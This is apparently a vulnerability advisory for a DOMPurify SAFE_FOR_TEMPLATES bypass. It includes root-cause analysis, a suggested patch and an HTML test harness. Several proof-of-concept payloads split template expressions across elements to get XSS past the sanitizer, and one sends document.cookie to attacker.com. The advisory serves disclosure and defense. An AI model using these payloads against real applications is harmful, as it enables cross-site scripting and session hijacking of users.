log('Running PoC 3 - IN_PLACE mode...', 'info');
// Build DOM node manually (simulates attacker-controlled DOM input,
// e.g. content parsed from a WebSocket message or an iframe)
const container = document.createElement('div');
const tmplEl = document.createElement('template');
// Two separate text nodes - HTML parser merges them, but programmatic
// DOM construction keeps them split. This is the IN_PLACE attack surface.
tmplEl.content.appendChild(document.createTextNode('$'));
tmplEl.content.appendChild(document.createTextNode('{confirm("XSS via IN_PLACE - domain: " + document.domain)}'));
container.appendChild(tmplEl);
document.getElementById('input-poc3').textContent =
'// Programmatically constructed DOM node:\n' +
'template.content.childNodes[0].data = "$"\n' +
'template.content.childNodes[1].data = "{confirm(\\"XSS via IN_PLACE...\\")}"\n\n' +
'// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })';
// Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression
DOMPurify.sanitize(container, {
IN_PLACE: true,
SAFE_FOR_TEMPLATES: true,
});
const tmplAfter = container.querySelector('template');
const nodesAfter = [...tmplAfter.content.childNodes].map(n => n.nodeValue);
document.getElementById('nodes-poc3').textContent =
'childNodes[0].data = ' + JSON.stringify(nodesAfter[0]) + '\n' +
'childNodes[1].data = ' + JSON.stringify(nodesAfter[1]) + '\n\n' +
'→ _scrubTemplateExpressions() did not enter template.content\n' +
'→ Both nodes unchanged after sanitization.';
log('PoC 3: Nodes after IN_PLACE sanitize: ' + nodesAfter.map(n => JSON.stringify(n)).join(', '), 'warn');
tmplAfter.content.normalize();
const merged = tmplAfter.content.textContent;
document.getElementById('merged-poc3').textContent = merged;
log('PoC 3: Merged: ' + merged, 'warn');
try {
const result = new Function('return `' + merged + '`')();
document.getElementById('exec-poc3').textContent =
'✔ new Function() returned: ' + result + '\n' +
'confirm() dialog shown. XSS confirmed via IN_PLACE mode.';
setBadge('poc3', 'PASS');
markXSS('PoC 3');
} catch (e) {
document.getElementById('exec-poc3').textContent = 'Error: ' + e.message;
setBadge('poc3', 'ERROR');
log('PoC 3 error: ' + e.message, 'warn');
}
}
// ── Control: string output must block ─────────────────────────────────────
function runControl() {
log('Running control - string output path (should block)...', 'info');
const dirty =
'<template>' +
'<x-split-1>$</x-split-1>' +
'<x-split-2>{confirm("this should never fire")}</x-split-2>' +
'</template>';
document.getElementById('input-ctrl').textContent = dirty;
// Default string output - NOT using RETURN_DOM
const sanitized = DOMPurify.sanitize(dirty, {
SAFE_FOR_TEMPLATES: true,
// RETURN_DOM intentionally omitted - string path is safe
});
document.getElementById('output-ctrl').textContent = sanitized;
const blocked = !sanitized.includes('${') && !sanitized.includes('{confirm');
if (blocked) {
setBadge('ctrl', 'BLOCK');
log('Control: String output correctly stripped the expression. Output: ' + sanitized, 'ok');
} else {
setBadge('ctrl', 'PASS'); // unexpected
log('Control: UNEXPECTED - expression survived string output path: ' + sanitized, 'fail');
}
}
// ── Run all ────────────────────────────────────────────────────────────────
function runAll() {
document.getElementById('log').innerHTML = '';
xssConfirmed = false;
document.getElementById('xss-banner').style.display = 'none';
log('=== Starting full test run ===', 'info');
runPoC1();
runPoC2();
runPoC3();
runControl();
log('=== Test run complete ===', 'info');
}
</script>
</body>
</html>
Root Cause
_scrubTemplateExpressions (src/purify.ts:1115) does not recurse into <template>.content:
const _scrubTemplateExpressions = function (node: Element): void {
node.normalize(); // Does NOT normalize inside <template>.content (DOM spec)
const walker = createNodeIterator.call(
node.ownerDocument || node,
node, // NodeIterator does NOT enter <template>.content
NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT |
NodeFilter.SHOW_CDATA_SECTION | NodeFilter.SHOW_PROCESSING_INSTRUCTION,
null
);
// Scrubs nodes it finds, but never sees <template> content
};
The fix is to extend _scrubTemplateExpressions to explicitly recurse into <template>.content, mirroring the approach already used by _sanitizeShadowDOM (src/purify.ts:1753):
if (_isDocumentFragment(shadowNode.content)) {
_sanitizeShadowDOM(shadowNode.content); // already handles recursion
}
Suggested Patch Direction
const _scrubTemplateExpressions = function (node: Element): void {
node.normalize();
const walker = createNodeIterator.call( /* existing args */ );
// ... existing scrub loop ...
// NEW: recurse into <template>.content, mirroring _sanitizeShadowDOM
const templates = (node as Element).querySelectorAll?.('template') ?? [];
arrayForEach(Array.from(templates), (tmpl: HTMLTemplateElement) => {
if (_isDocumentFragment(tmpl.content)) {
_scrubTemplateExpressions(tmpl.content as unknown as Element);
}
});
};
Impact
Who is affected: Applications that use DOMPurify with SAFE_FOR_TEMPLATES: true combined with RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, or IN_PLACE: true, whose downstream template engine processes <template> element content.
What an attacker can achieve: Inject arbitrary template expressions (${...}, {{...}}, <%...%>) into the sanitized DOM output inside <template> elements. If the consuming template engine evaluates these expressions, this leads to template injection, which in server-side contexts can escalate to Remote Code Execution and in client-side contexts to Cross-Site Scripting.
Preconditions for Exploitation
| Precondition | Notes |
|---|---|
SAFE_FOR_TEMPLATES: true |
Non-default - must be explicitly set |
RETURN_DOM: true or IN_PLACE: true |
Non-default - must be explicitly set |
Template engine processes <template>.content |
Application-dependent |
What Is NOT Affected
The string output path (default) is not affected. The final regex scrub at src/purify.ts:2067–2071 operates on the serialized HTML string, where the injected expression is visible and stripped:
// src/purify.ts:2067 - only runs on string output, not DOM output
if (SAFE_FOR_TEMPLATES) {
arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
serializedHTML = stringReplace(serializedHTML, expr, ' ');
});
}
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.7"
},
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.4.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-65900"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:02:40Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\nWhen DOMPurify is configured with both `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `IN_PLACE: true`), an attacker can inject template expressions, such as `${evil}`, `{{evil}}`, or `\u003c%evil%\u003e`, that survive the sanitization pass inside `\u003ctemplate\u003e` element content. This bypasses the explicit purpose of `SAFE_FOR_TEMPLATES`, which is to prevent template engine evaluation of user-supplied content.\n\n\u003e **Note:** The string output path is **not** affected. Only the DOM return paths (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, `IN_PLACE: true`) are vulnerable.\n\n---\n\n## Description\n\n### Background\n\n`SAFE_FOR_TEMPLATES` is designed to strip `{{ }}`, `${ }`, and `\u003c% %\u003e` expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:\n\n1. **Per-node scrubbing** (`_sanitizeElements`, `src/purify.ts:1403`), scrubs individual text nodes during the main sanitization walk.\n2. **Final normalization pass** (`_scrubTemplateExpressions`, `src/purify.ts:1115`), calls `node.normalize()` to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.\n\n### The Gap\n\n`_scrubTemplateExpressions` uses a standard `NodeIterator` rooted at the output body:\n\n```ts\n// src/purify.ts:1117\nconst walker = createNodeIterator.call(\n node.ownerDocument || node,\n node,\n NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,\n null\n);\n```\n\nPer the DOM specification, a `NodeIterator` does **not** descend into `\u003ctemplate\u003e.content`. The template element\u0027s content is a separate `DocumentFragment` that lives outside the normal child-node tree. For the same reason, `node.normalize()` (called on line 1116) also **does not** normalize text nodes inside `\u003ctemplate\u003e.content`.\n\nThis means the final normalization and scrub pass, the only pass that catches expressions formed *by merging split text nodes*, never runs on `\u003ctemplate\u003e` content.\n\n### How Split Text Nodes Are Created\n\nWhen DOMPurify removes a disallowed element with `KEEP_CONTENT: true` (the default), it moves the element\u0027s text children into the parent node. This is the standard code path at `src/purify.ts:1361\u20131373`:\n\n```ts\nif (KEEP_CONTENT \u0026\u0026 !FORBID_CONTENTS[tagName]) {\n const parentNode = getParentNode(currentNode);\n const childNodes = getChildNodes(currentNode);\n if (childNodes \u0026\u0026 parentNode) {\n for (let i = childCount - 1; i \u003e= 0; --i) {\n const childClone = cloneNode(childNodes[i], true);\n parentNode.insertBefore(childClone, getNextSibling(currentNode));\n }\n }\n}\n```\n\nIf the removed elements were adjacent siblings inside `\u003ctemplate\u003e` content, their extracted text nodes end up as **adjacent text nodes** in the template content fragment. Each individual text node is scrubbed by `_sanitizeElements`, but since `$` and `{evil}` do not match any expression regex on their own, neither is modified.\n\nThe code comment at `src/purify.ts:1100` explicitly acknowledges the threat class:\n\n\u003e *\"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework.\"*\n\nThe implementation guards against this on the main body, but the guard is **not** applied to `\u003ctemplate\u003e` content.\n\n---\n\n## Proof of Concept\n\n### Why the Split Works\n\nThe bypass relies on splitting `${...}` across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:\n\n| Fragment | Against `TMPLIT_EXPR` `/\\${[\\w\\W]*/g` | Against `MUSTACHE_EXPR` `/{{[\\w\\W]*\\|^[\\w\\W]*}}/g` | Result |\n|---|---|---|---|\n| `$` | Requires `${` - no `{` follows | No `{{` or `}}` | **Survives** |\n| `{alert(document.domain)}` | Requires leading `$` - absent | No `{{`, ends with single `}` not `}}` | **Survives** |\n| `${alert(document.domain)}` | Full match - would be stripped | - | Stripped if seen whole |\n\nDOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.\n\n---\n\n### PoC 1 - XSS via `alert()` (baseline confirmation)\n\n```javascript\n// Attacker input - splits \"${alert(document.domain)}\" across two custom elements.\n// Custom elements are not in DOMPurify\u0027s default ALLOWED_TAGS and are removed,\n// but their text content is kept (KEEP_CONTENT: true is the default).\nconst dirty =\n \u0027\u003ctemplate\u003e\u0027 +\n \u0027\u003cx-split-1\u003e$\u003c/x-split-1\u003e\u0027 +\n \u0027\u003cx-split-2\u003e{alert(document.domain)}\u003c/x-split-2\u003e\u0027 +\n \u0027\u003c/template\u003e\u0027;\n\n// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}\nconst sanitized = DOMPurify.sanitize(dirty, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n});\n\n// Inspect what survived inside the \u003ctemplate\u003e\nconst tmpl = sanitized.querySelector(\u0027template\u0027);\nconsole.log([...tmpl.content.childNodes].map(n =\u003e n.nodeValue));\n// [\"$\", \"{alert(document.domain)}\"] \u003c-- two separate text nodes, both \"clean\"\n\n// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()\n// before reading template content. This merges the adjacent nodes:\ntmpl.content.normalize();\nconsole.log(tmpl.content.textContent);\n// \"${alert(document.domain)}\" \u003c-- fully formed expression, past the sanitizer\n\n// Any template-literal evaluator now fires XSS:\nconst expr = tmpl.content.textContent;\nnew Function(`return \\`${expr}\\``)();\n// !! alert(document.domain) executes !!\n```\n\n---\n\n### PoC 2 - Session Hijacking via cookie exfiltration\n\n```javascript\n// Splits \"${document.location=\u0027//attacker.com/?c=\u0027+document.cookie}\"\n// \"{document.location=...}\" ends with a single \"}\" \u2014 does NOT match\n// MUSTACHE_EXPR\u0027s \"^[\\w\\W]*}}\" (requires double \"}}\"), so it survives.\nconst dirty =\n \u0027\u003ctemplate\u003e\u0027 +\n \u0027\u003cx-a\u003e$\u003c/x-a\u003e\u0027 +\n \u0027\u003cx-b\u003e{document.location=\"//attacker.com/?c=\"+document.cookie}\u003c/x-b\u003e\u0027 +\n \u0027\u003c/template\u003e\u0027;\n\nconst sanitized = DOMPurify.sanitize(dirty, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n});\n\nconst tmpl = sanitized.querySelector(\u0027template\u0027);\ntmpl.content.normalize();\n\nconsole.log(tmpl.content.textContent);\n// \"${document.location=\"//attacker.com/?c=\"+document.cookie}\"\n\n// Template engine evaluates it - victim\u0027s browser makes the request:\nnew Function(`return \\`${tmpl.content.textContent}\\``)();\n// !! Redirects victim to attacker.com with their full cookie string !!\n// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789\n```\n\n---\n\n### PoC 3 - End-to-end: realistic application context\n\nThis shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:\n\n```html\n\u003c!-- index.html - the vulnerable application --\u003e\n\u003cdiv id=\"output\"\u003e\u003c/div\u003e\n\u003cscript type=\"module\"\u003e\n import DOMPurify from \u0027./dist/purify.es.mjs\u0027;\n\n // Simulates fetching and rendering user-submitted comment\n async function renderComment(userHtml) {\n // Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine\n const dom = DOMPurify.sanitize(userHtml, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n });\n\n // Application iterates \u003ctemplate\u003e elements and evaluates their content\n // (common pattern in component-based frameworks)\n dom.querySelectorAll(\u0027template\u0027).forEach(tmpl =\u003e {\n tmpl.content.normalize(); // standard DOM housekeeping\n const content = tmpl.content.textContent;\n\n // Application uses template literals to interpolate user content into UI\n const rendered = new Function(\u0027user\u0027, `return \\`${content}\\``)({ name: \u0027World\u0027 });\n document.getElementById(\u0027output\u0027).innerHTML += rendered;\n });\n }\n\n // Attacker-supplied comment content\n const attackerComment =\n \u0027\u003ctemplate\u003e\u0027 +\n \u0027\u003cx-a\u003e$\u003c/x-a\u003e\u0027 +\n \u0027\u003cx-b\u003e{alert(\"XSS: \" + document.cookie)}\u003c/x-b\u003e\u0027 +\n \u0027\u003c/template\u003e\u0027;\n\n // Developer believes SAFE_FOR_TEMPLATES makes this safe \u2014 it does not for RETURN_DOM\n renderComment(attackerComment);\n // !! XSS fires, alert pops with session cookies !!\n\u003c/script\u003e\n```\n\n**Observed output:** `alert(\"XSS: \" + document.cookie)` executes in the victim\u0027s browser context, leaking session tokens to the attacker.\n\n---\n\n### PoC 4 - `IN_PLACE` mode (DOM input path)\n\n```javascript\n// Applicable when the application sanitizes DOM nodes directly\n// (e.g., content loaded into an iframe or received from a WebSocket)\n\nconst container = document.createElement(\u0027div\u0027);\nconst tmpl = document.createElement(\u0027template\u0027);\n\n// Adjacent text nodes - these would never appear in HTML-parsed content,\n// but CAN appear in programmatically constructed DOM or WebSocket messages\n// that are deserialised into DOM nodes before sanitisation.\ntmpl.content.appendChild(document.createTextNode(\u0027$\u0027));\ntmpl.content.appendChild(document.createTextNode(\u0027{alert(document.domain)}\u0027));\ncontainer.appendChild(tmpl);\n\n// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}\nDOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\n// Neither text node was modified - each passed the regex check individually\ncontainer.querySelector(\u0027template\u0027).content.normalize();\nconsole.log(container.querySelector(\u0027template\u0027).content.textContent);\n// \"${alert(document.domain)}\" \u003c-- survived in-place sanitization\n\nnew Function(`return \\`${container.querySelector(\u0027template\u0027).content.textContent}\\``)();\n// !! XSS fires !!\n```\n\nHTML File for testing\n```HTML\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n \u003cmeta charset=\"UTF-8\" /\u003e\n \u003ctitle\u003eDOMPurify SAFE_FOR_TEMPLATES Bypass - PoC\u003c/title\u003e\n \u003cscript src=\"dist/purify.js\"\u003e\u003c/script\u003e\n \u003cstyle\u003e\n * { box-sizing: border-box; margin: 0; padding: 0; }\n body {\n font-family: \u0027Segoe UI\u0027, system-ui, sans-serif;\n background: #0d1117;\n color: #e6edf3;\n padding: 32px;\n }\n h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }\n .subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; }\n .card {\n background: #161b22;\n border: 1px solid #30363d;\n border-radius: 8px;\n margin-bottom: 24px;\n overflow: hidden;\n }\n .card-header {\n display: flex;\n align-items: center;\n gap: 10px;\n padding: 14px 20px;\n border-bottom: 1px solid #30363d;\n background: #1c2128;\n }\n .badge {\n font-size: 0.72rem;\n font-weight: 700;\n padding: 2px 8px;\n border-radius: 4px;\n text-transform: uppercase;\n letter-spacing: 0.05em;\n }\n .badge-run { background: #1f6feb; color: #fff; }\n .badge-pass { background: #238636; color: #fff; }\n .badge-fail { background: #da3633; color: #fff; }\n .badge-warn { background: #9e6a03; color: #fff; }\n .card-title { font-size: 0.95rem; font-weight: 600; }\n .card-body { padding: 20px; }\n label { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; }\n pre {\n background: #0d1117;\n border: 1px solid #30363d;\n border-radius: 6px;\n padding: 14px;\n font-size: 0.82rem;\n line-height: 1.6;\n overflow-x: auto;\n margin-bottom: 14px;\n white-space: pre-wrap;\n word-break: break-all;\n }\n pre.result { border-color: #238636; background: #0a1a0f; }\n pre.escaped { border-color: #da3633; background: #1a0a0a; }\n pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }\n .grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }\n @media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }\n .arrow {\n text-align: center;\n font-size: 1.4rem;\n color: #8b949e;\n margin: 4px 0;\n }\n .xss-banner {\n display: none;\n background: #da3633;\n color: #fff;\n text-align: center;\n padding: 16px;\n font-size: 1.1rem;\n font-weight: 700;\n border-radius: 6px;\n margin-bottom: 24px;\n letter-spacing: 0.03em;\n }\n button {\n background: #238636;\n color: #fff;\n border: none;\n padding: 10px 22px;\n border-radius: 6px;\n font-size: 0.9rem;\n font-weight: 600;\n cursor: pointer;\n margin-right: 10px;\n margin-bottom: 8px;\n }\n button:hover { background: #2ea043; }\n button.danger { background: #da3633; }\n button.danger:hover { background: #f85149; }\n .note {\n background: #161b22;\n border-left: 3px solid #9e6a03;\n padding: 12px 16px;\n font-size: 0.82rem;\n color: #e3b341;\n border-radius: 0 6px 6px 0;\n margin-top: 14px;\n }\n #log {\n background: #0d1117;\n border: 1px solid #30363d;\n border-radius: 6px;\n padding: 14px;\n font-size: 0.8rem;\n font-family: monospace;\n min-height: 60px;\n max-height: 300px;\n overflow-y: auto;\n line-height: 1.8;\n }\n .log-ok { color: #3fb950; }\n .log-fail { color: #f85149; }\n .log-info { color: #8b949e; }\n .log-warn { color: #e3b341; }\n \u003c/style\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\n \u003ch1\u003e\ud83d\udd34 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass\u003c/h1\u003e\n \u003cp class=\"subtitle\"\u003e\n CVE candidate \u00b7 Template expression injection via \u0026lt;template\u0026gt; content \u00b7\n Affects: \u003ccode\u003eRETURN_DOM + SAFE_FOR_TEMPLATES\u003c/code\u003e and \u003ccode\u003eIN_PLACE + SAFE_FOR_TEMPLATES\u003c/code\u003e\n \u003c/p\u003e\n\n \u003cdiv id=\"xss-banner\" class=\"xss-banner\"\u003e\n \u26a0\ufe0f XSS CONFIRMED - Expression executed in this page\u0027s context\n \u003c/div\u003e\n\n \u003c!-- \u2500\u2500 Controls \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n \u003cdiv class=\"card\"\u003e\n \u003cdiv class=\"card-header\"\u003e\n \u003cspan class=\"badge badge-run\"\u003eControls\u003c/span\u003e\n \u003cspan class=\"card-title\"\u003eRun individual test cases\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"card-body\"\u003e\n \u003cbutton onclick=\"runAll()\"\u003e\u25b6 Run all tests\u003c/button\u003e\n \u003cbutton onclick=\"runPoC1()\"\u003ePoC 1 - alert()\u003c/button\u003e\n \u003cbutton onclick=\"runPoC2()\"\u003ePoC 2 - cookie exfil\u003c/button\u003e\n \u003cbutton onclick=\"runPoC3()\"\u003ePoC 3 - IN_PLACE\u003c/button\u003e\n \u003cbutton onclick=\"runControl()\"\u003eControl - string output (should block)\u003c/button\u003e\n \u003cdiv class=\"note\"\u003e\n PoC 1 uses \u003ccode\u003econfirm()\u003c/code\u003e instead of \u003ccode\u003ealert()\u003c/code\u003e so the page\n doesn\u0027t need a dismiss click to continue. Watch the red banner at the top.\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n \u003c!-- \u2500\u2500 PoC 1 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n \u003cdiv class=\"card\" id=\"card-poc1\"\u003e\n \u003cdiv class=\"card-header\"\u003e\n \u003cspan class=\"badge badge-run\" id=\"badge-poc1\"\u003ePENDING\u003c/span\u003e\n \u003cspan class=\"card-title\"\u003ePoC 1 - XSS via confirm() \u00b7 RETURN_DOM mode\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"card-body\"\u003e\n \u003cdiv class=\"grid\"\u003e\n \u003cdiv\u003e\n \u003clabel\u003eATTACKER INPUT - splits \u003ccode\u003e${\"{confirm(...)}\"}\u003c/code\u003e across two custom elements\u003c/label\u003e\n \u003cpre id=\"input-poc1\"\u003e\u003c/pre\u003e\n \u003c/div\u003e\n \u003cdiv\u003e\n \u003clabel\u003eAFTER DOMPurify.sanitize() - what survived in template.content\u003c/label\u003e\n \u003cpre class=\"result\" id=\"nodes-poc1\"\u003e\u003c/pre\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"arrow\"\u003e\u2193 template.content.normalize() \u2193\u003c/div\u003e\n \u003clabel\u003eMERGED TEXT NODE - fully formed expression after normalization\u003c/label\u003e\n \u003cpre class=\"highlight\" id=\"merged-poc1\"\u003e\u003c/pre\u003e\n \u003clabel\u003eEXECUTION RESULT\u003c/label\u003e\n \u003cpre id=\"exec-poc1\"\u003eNot run yet\u003c/pre\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n \u003c!-- \u2500\u2500 PoC 2 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n \u003cdiv class=\"card\" id=\"card-poc2\"\u003e\n \u003cdiv class=\"card-header\"\u003e\n \u003cspan class=\"badge badge-run\" id=\"badge-poc2\"\u003ePENDING\u003c/span\u003e\n \u003cspan class=\"card-title\"\u003ePoC 2 - Cookie exfiltration \u00b7 RETURN_DOM mode\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"card-body\"\u003e\n \u003cdiv class=\"grid\"\u003e\n \u003cdiv\u003e\n \u003clabel\u003eATTACKER INPUT - exfil payload split across custom elements\u003c/label\u003e\n \u003cpre id=\"input-poc2\"\u003e\u003c/pre\u003e\n \u003c/div\u003e\n \u003cdiv\u003e\n \u003clabel\u003eINDIVIDUAL TEXT NODES after sanitization (each \"clean\")\u003c/label\u003e\n \u003cpre class=\"result\" id=\"nodes-poc2\"\u003e\u003c/pre\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"arrow\"\u003e\u2193 template.content.normalize() \u2193\u003c/div\u003e\n \u003clabel\u003eMERGED EXPRESSION - what a template engine would evaluate\u003c/label\u003e\n \u003cpre class=\"highlight\" id=\"merged-poc2\"\u003e\u003c/pre\u003e\n \u003clabel\u003eSIMULATED EXECUTION (fetch URL that would be called)\u003c/label\u003e\n \u003cpre id=\"exec-poc2\"\u003eNot run yet\u003c/pre\u003e\n \u003cdiv class=\"note\"\u003e\n Real execution would redirect the victim to\n \u003ccode\u003eattacker.com\u003c/code\u003e carrying the session cookie.\n This PoC constructs the URL without actually sending it.\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n \u003c!-- \u2500\u2500 PoC 3 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n \u003cdiv class=\"card\" id=\"card-poc3\"\u003e\n \u003cdiv class=\"card-header\"\u003e\n \u003cspan class=\"badge badge-run\" id=\"badge-poc3\"\u003ePENDING\u003c/span\u003e\n \u003cspan class=\"card-title\"\u003ePoC 3 - XSS \u00b7 IN_PLACE mode (DOM node input)\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"card-body\"\u003e\n \u003cdiv class=\"grid\"\u003e\n \u003cdiv\u003e\n \u003clabel\u003eATTACKER PROVIDES - a DOM node with programmatically split text nodes\u003c/label\u003e\n \u003cpre id=\"input-poc3\"\u003e\u003c/pre\u003e\n \u003c/div\u003e\n \u003cdiv\u003e\n \u003clabel\u003eAFTER IN_PLACE sanitization - text nodes unchanged\u003c/label\u003e\n \u003cpre class=\"result\" id=\"nodes-poc3\"\u003e\u003c/pre\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"arrow\"\u003e\u2193 template.content.normalize() \u2193\u003c/div\u003e\n \u003clabel\u003eMERGED EXPRESSION\u003c/label\u003e\n \u003cpre class=\"highlight\" id=\"merged-poc3\"\u003e\u003c/pre\u003e\n \u003clabel\u003eEXECUTION RESULT\u003c/label\u003e\n \u003cpre id=\"exec-poc3\"\u003eNot run yet\u003c/pre\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n \u003c!-- \u2500\u2500 Control \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n \u003cdiv class=\"card\" id=\"card-ctrl\"\u003e\n \u003cdiv class=\"card-header\"\u003e\n \u003cspan class=\"badge badge-run\" id=\"badge-ctrl\"\u003ePENDING\u003c/span\u003e\n \u003cspan class=\"card-title\"\u003eControl - string output (default) MUST block the payload\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"card-body\"\u003e\n \u003clabel\u003eSame attacker input, but sanitized WITHOUT RETURN_DOM (string output path)\u003c/label\u003e\n \u003cpre id=\"input-ctrl\"\u003e\u003c/pre\u003e\n \u003cdiv class=\"arrow\"\u003e\u2193 DOMPurify.sanitize() - string path hits the regex scrub at line 2067 \u2193\u003c/div\u003e\n \u003clabel\u003eOUTPUT STRING - expression should be stripped\u003c/label\u003e\n \u003cpre id=\"output-ctrl\"\u003eNot run yet\u003c/pre\u003e\n \u003cdiv class=\"note\"\u003e\n The string output path is NOT vulnerable because\n \u003ccode\u003ebody.innerHTML\u003c/code\u003e serialises the template content into a\n flat string where the full \u003ccode\u003e${\"{...}\"}\u003c/code\u003e expression is visible\n and the final regex scrub catches it.\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n \u003c!-- \u2500\u2500 Log \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n \u003cdiv class=\"card\"\u003e\n \u003cdiv class=\"card-header\"\u003e\n \u003cspan class=\"badge badge-run\"\u003eLog\u003c/span\u003e\n \u003cspan class=\"card-title\"\u003eTest output\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"card-body\"\u003e\n \u003cdiv id=\"log\"\u003e\u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n\u003cscript\u003e\n// \u2500\u2500 Helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nlet xssConfirmed = false;\n\nfunction log(msg, type = \u0027info\u0027) {\n const el = document.getElementById(\u0027log\u0027);\n const line = document.createElement(\u0027div\u0027);\n line.className = \u0027log-\u0027 + type;\n line.textContent = \u0027[\u0027 + new Date().toLocaleTimeString() + \u0027] \u0027 + msg;\n el.appendChild(line);\n el.scrollTop = el.scrollHeight;\n}\n\nfunction setBadge(id, status) {\n const el = document.getElementById(\u0027badge-\u0027 + id);\n el.textContent = status;\n el.className = \u0027badge \u0027 + {\n PASS: 